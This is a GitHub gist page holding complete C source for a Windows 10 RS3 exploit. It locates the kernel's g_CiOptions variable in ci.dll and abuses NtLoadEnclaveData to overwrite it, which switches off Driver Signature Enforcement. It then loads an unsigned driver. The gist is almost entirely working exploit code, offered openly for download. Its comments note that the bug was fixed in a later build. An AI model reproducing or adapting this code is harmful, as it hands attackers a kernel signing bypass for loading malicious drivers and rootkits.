-
-
Save gavz/5dc66e46b1ce0253bb7e386b1b8fd257 to your computer and use it in GitHub Desktop.
NtLoadEnclaveData Windows 10 RS3 DSE bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Original source link https://twitter.com/hFireF0X/status/887930221466443776 | |
// If you are here from any other link - do know that they just steal original info without giving any credit to source | |
// This bug has been fixed in 16273 public build. | |
#include "global.h" | |
HINSTANCE g_hInstance; | |
HANDLE g_ConOut = NULL; | |
BOOL g_ConsoleOutput = FALSE; | |
WCHAR g_BE = 0xFEFF; | |
RTL_OSVERSIONINFOW g_osv; | |
#define CI_DLL "ci.dll" | |
#define T_PROGRAMTITLE TEXT("NtLoadEnclaveData write to address Demo") | |
#define T_PROGRAMUNSUP TEXT("Unsupported WinNT version\r\n") | |
#define T_PROGRAMRUN TEXT("Another instance running, close it before\r\n") | |
#define T_PROGRAMINTRO TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n") | |
#define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv" | |
NTSTATUS NativeAdjustPrivileges( | |
_In_ ULONG Privilege | |
) | |
{ | |
NTSTATUS Status; | |
HANDLE TokenHandle; | |
LUID Luid; | |
TOKEN_PRIVILEGES TokenPrivileges; | |
Luid.LowPart = Privilege; | |
Luid.HighPart = 0; | |
TokenPrivileges.PrivilegeCount = 1; | |
TokenPrivileges.Privileges[0].Luid = Luid; | |
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
Status = NtOpenProcessToken( | |
NtCurrentProcess(), | |
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, | |
&TokenHandle); | |
if (NT_SUCCESS(Status)) { | |
Status = NtAdjustPrivilegesToken( | |
TokenHandle, | |
FALSE, | |
&TokenPrivileges, | |
sizeof(TOKEN_PRIVILEGES), | |
(PTOKEN_PRIVILEGES)NULL, | |
NULL); | |
NtClose(TokenHandle); | |
} | |
if (Status == STATUS_NOT_ALL_ASSIGNED) | |
Status = STATUS_PRIVILEGE_NOT_HELD; | |
return Status; | |
} | |
NTSTATUS NativeLoadDriver( | |
_In_ PWSTR DrvFullPath, | |
_In_ PWSTR KeyName, | |
_In_opt_ PWSTR DisplayName, | |
_In_ BOOL ReloadDrv | |
) | |
{ | |
UNICODE_STRING ValueName, drvName; | |
OBJECT_ATTRIBUTES attr; | |
HANDLE hDrvKey; | |
ULONG data, dataSize = 0; | |
NTSTATUS ns = STATUS_UNSUCCESSFUL; | |
hDrvKey = NULL; | |
__try | |
{ | |
if (!ARGUMENT_PRESENT(KeyName)) { | |
ns = STATUS_OBJECT_NAME_NOT_FOUND; | |
__leave; | |
} | |
RtlInitUnicodeString(&drvName, KeyName); | |
InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL); | |
ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
if (ARGUMENT_PRESENT(DrvFullPath)) { | |
RtlInitUnicodeString(&ValueName, L"ImagePath"); | |
dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR); | |
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
} | |
data = 1; | |
RtlInitUnicodeString(&ValueName, L"Type"); | |
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
data = 3; | |
RtlInitUnicodeString(&ValueName, L"Start"); | |
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
data = SERVICE_ERROR_NORMAL; | |
RtlInitUnicodeString(&ValueName, L"ErrorControl"); | |
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
if (ARGUMENT_PRESENT(DisplayName)) { | |
RtlInitUnicodeString(&ValueName, L"DisplayName"); | |
dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR); | |
ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize); | |
if (!NT_SUCCESS(ns)) { | |
__leave; | |
} | |
} | |
NtClose(hDrvKey); | |
hDrvKey = NULL; | |
ns = NtLoadDriver(&drvName); | |
if (ns == STATUS_IMAGE_ALREADY_LOADED) { | |
if (ReloadDrv == TRUE) { | |
NtUnloadDriver(&drvName); //unload previous driver version | |
NtYieldExecution(); | |
ns = NtLoadDriver(&drvName); | |
} | |
else { | |
ns = STATUS_SUCCESS; | |
} | |
} | |
} | |
__finally { | |
if (hDrvKey != NULL) { | |
NtClose(hDrvKey); | |
} | |
} | |
return ns; | |
} | |
LONG QueryCiOptions( | |
_In_ PVOID MappedBase, | |
_Inout_ ULONG_PTR *KernelBase | |
) | |
{ | |
PBYTE CiInitialize = NULL; | |
ULONG c, j = 0; | |
LONG rel = 0; | |
hde64s hs; | |
CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); | |
if (CiInitialize == NULL) | |
return 0; | |
if (g_osv.dwBuildNumber > 16199) { | |
c = 0; | |
j = 0; | |
do { | |
/* call CipInitialize */ | |
if (CiInitialize[c] == 0xE8) | |
j++; | |
if (j > 1) { | |
rel = *(PLONG)(CiInitialize + c + 1); | |
break; | |
} | |
hde64_disasm(CiInitialize + c, &hs); | |
if (hs.flags & F_ERROR) | |
break; | |
c += hs.len; | |
} while (c < 256); | |
} | |
else { | |
c = 0; | |
do { | |
/* jmp CipInitialize */ | |
if (CiInitialize[c] == 0xE9) { | |
rel = *(PLONG)(CiInitialize + c + 1); | |
break; | |
} | |
hde64_disasm(CiInitialize + c, &hs); | |
if (hs.flags & F_ERROR) | |
break; | |
c += hs.len; | |
} while (c < 256); | |
} | |
CiInitialize = CiInitialize + c + 5 + rel; | |
c = 0; | |
do { | |
if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { | |
rel = *(PLONG)(CiInitialize + c + 2); | |
break; | |
} | |
hde64_disasm(CiInitialize + c, &hs); | |
if (hs.flags & F_ERROR) | |
break; | |
c += hs.len; | |
} while (c < 256); | |
CiInitialize = CiInitialize + c + 6 + rel; | |
*KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; | |
return rel; | |
} | |
ULONG_PTR QueryVariableAddress( | |
VOID | |
) | |
{ | |
LONG rel = 0; | |
ULONG_PTR Result = 0, ModuleKernelBase = 0; | |
CHAR *szModuleName; | |
WCHAR *wszErrorEvent, *wszSuccessEvent; | |
PVOID MappedBase = NULL; | |
CHAR szFullModuleName[MAX_PATH * 2]; | |
szModuleName = CI_DLL; | |
wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized"); | |
wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search"); | |
ModuleKernelBase = supGetModuleBaseByName(szModuleName); | |
if (ModuleKernelBase == 0) { | |
cuiPrintText(g_ConOut, | |
wszErrorEvent, | |
g_ConsoleOutput, TRUE); | |
return 0; | |
} | |
szFullModuleName[0] = 0; | |
if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) | |
return 0; | |
_strcat_a(szFullModuleName, "\\"); | |
_strcat_a(szFullModuleName, szModuleName); | |
// _strcpy(szFullModuleName, "C:\\malware\\ci.dll"); | |
MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); | |
if (MappedBase) { | |
cuiPrintText(g_ConOut, | |
wszSuccessEvent, | |
g_ConsoleOutput, TRUE); | |
rel = QueryCiOptions( | |
MappedBase, | |
&ModuleKernelBase); | |
if (rel != 0) { | |
Result = ModuleKernelBase; | |
} | |
FreeLibrary(MappedBase); | |
} | |
else { | |
wszErrorEvent = TEXT("Ldr: Cannot load CI.dll"); | |
cuiPrintText(g_ConOut, | |
wszErrorEvent, | |
g_ConsoleOutput, TRUE); | |
} | |
return Result; | |
} | |
VOID LoadDriver() | |
{ | |
NTSTATUS Status; | |
HANDLE Link = NULL; | |
UNICODE_STRING str, drvname; | |
OBJECT_ATTRIBUTES Obja; | |
WCHAR szBuffer[MAX_PATH + 1]; | |
Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE); | |
if (!NT_SUCCESS(Status)) { | |
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); | |
_strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x")); | |
ultohex(Status, _strend(szBuffer)); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
return; | |
} | |
_strcpy(szBuffer, L"\\??\\"); | |
_strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer); | |
_strcat(szBuffer, L"dummy.sys"); | |
RtlInitUnicodeString(&str, L"\\*"); | |
RtlInitUnicodeString(&drvname, szBuffer); | |
InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL); | |
Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname); | |
if (!NT_SUCCESS(Status)) { | |
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); | |
_strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x")); | |
ultohex(Status, _strend(szBuffer)); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
} | |
else { | |
Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE); | |
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); | |
_strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x")); | |
ultohex(Status, _strend(szBuffer)); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
if (Link) | |
NtClose(Link); | |
} | |
} | |
typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)( | |
ULONG_PTR Param1, | |
ULONG_PTR Param2, | |
ULONG_PTR Param3, | |
ULONG_PTR Param4, | |
ULONG_PTR Param5, | |
ULONG_PTR Param6, | |
ULONG_PTR Param7, | |
ULONG_PTR Param8, | |
ULONG_PTR Param9 | |
); | |
pfnNtLoadEnclaveData NtLoadEnclaveData; | |
UINT NtLoadEnclaveDataDemo() | |
{ | |
NTSTATUS Status = STATUS_SUCCESS; | |
HMODULE hNtdll; | |
ULONG_PTR g_CiOptions = 0; | |
WCHAR *wszErrorEvent; | |
WCHAR szBuffer[MAX_PATH]; | |
g_CiOptions = QueryVariableAddress(); | |
if (g_CiOptions != 0) { | |
_strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x")); | |
u64tohex(g_CiOptions, _strend(szBuffer)); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
} | |
else { | |
wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found."); | |
cuiPrintText(g_ConOut, | |
wszErrorEvent, | |
g_ConsoleOutput, TRUE); | |
return 0; | |
} | |
hNtdll = GetModuleHandle(TEXT("ntdll.dll")); | |
if (hNtdll) { | |
NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll, | |
"NtLoadEnclaveData"); | |
if (NtLoadEnclaveData) { | |
Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF, | |
0x00007FFFFFFFFFFE, | |
0x00007FFFFFFEFFFE, | |
0x000000000000FFFF, | |
0x00007FFFFFFEFFFE, | |
0x00007FFFFFFFFFFF, | |
0xFFFF800000000000, | |
0x000000000000FFFF, | |
g_CiOptions); | |
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); | |
_strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x")); | |
ultohex((ULONG)Status, _strend(szBuffer)); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
if (Status == STATUS_ACCESS_VIOLATION) { | |
_strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver")); | |
cuiPrintText(g_ConOut, | |
szBuffer, | |
g_ConsoleOutput, TRUE); | |
LoadDriver(); | |
} | |
} | |
else { | |
wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found."); | |
cuiPrintText(g_ConOut, | |
wszErrorEvent, | |
g_ConsoleOutput, TRUE); | |
} | |
} | |
return (UINT)Status; | |
} | |
void DSEFixMain() | |
{ | |
BOOL bCond = FALSE; | |
UINT uResult = 0; | |
DWORD dwTemp; | |
WCHAR text[256]; | |
__security_init_cookie(); | |
do { | |
g_hInstance = GetModuleHandle(NULL); | |
g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE); | |
if (g_ConOut == INVALID_HANDLE_VALUE) { | |
uResult = (UINT)-1; | |
break; | |
} | |
g_ConsoleOutput = TRUE; | |
if (!GetConsoleMode(g_ConOut, &dwTemp)) { | |
g_ConsoleOutput = FALSE; | |
} | |
SetConsoleTitle(T_PROGRAMTITLE); | |
SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT); | |
if (g_ConsoleOutput == FALSE) { | |
WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL); | |
} | |
cuiPrintText(g_ConOut, | |
T_PROGRAMINTRO, | |
g_ConsoleOutput, TRUE); | |
RtlSecureZeroMemory(&g_osv, sizeof(g_osv)); | |
g_osv.dwOSVersionInfoSize = sizeof(g_osv); | |
RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv); | |
#ifndef _DEBUG | |
if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16257)) { | |
cuiPrintText(g_ConOut, | |
T_PROGRAMUNSUP, | |
g_ConsoleOutput, TRUE); | |
uResult = (UINT)-1; | |
break; | |
} | |
#endif | |
_strcpy(text, TEXT("Ldr: Windows v")); | |
ultostr(g_osv.dwMajorVersion, _strend(text)); | |
_strcat(text, TEXT(".")); | |
ultostr(g_osv.dwMinorVersion, _strend(text)); | |
_strcat(text, TEXT(" build ")); | |
ultostr(g_osv.dwBuildNumber, _strend(text)); | |
cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE); | |
uResult = NtLoadEnclaveDataDemo(); | |
cuiPrintText(g_ConOut, | |
TEXT("Ldr: Exit"), | |
g_ConsoleOutput, TRUE); | |
} while (bCond); | |
ExitProcess(uResult); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment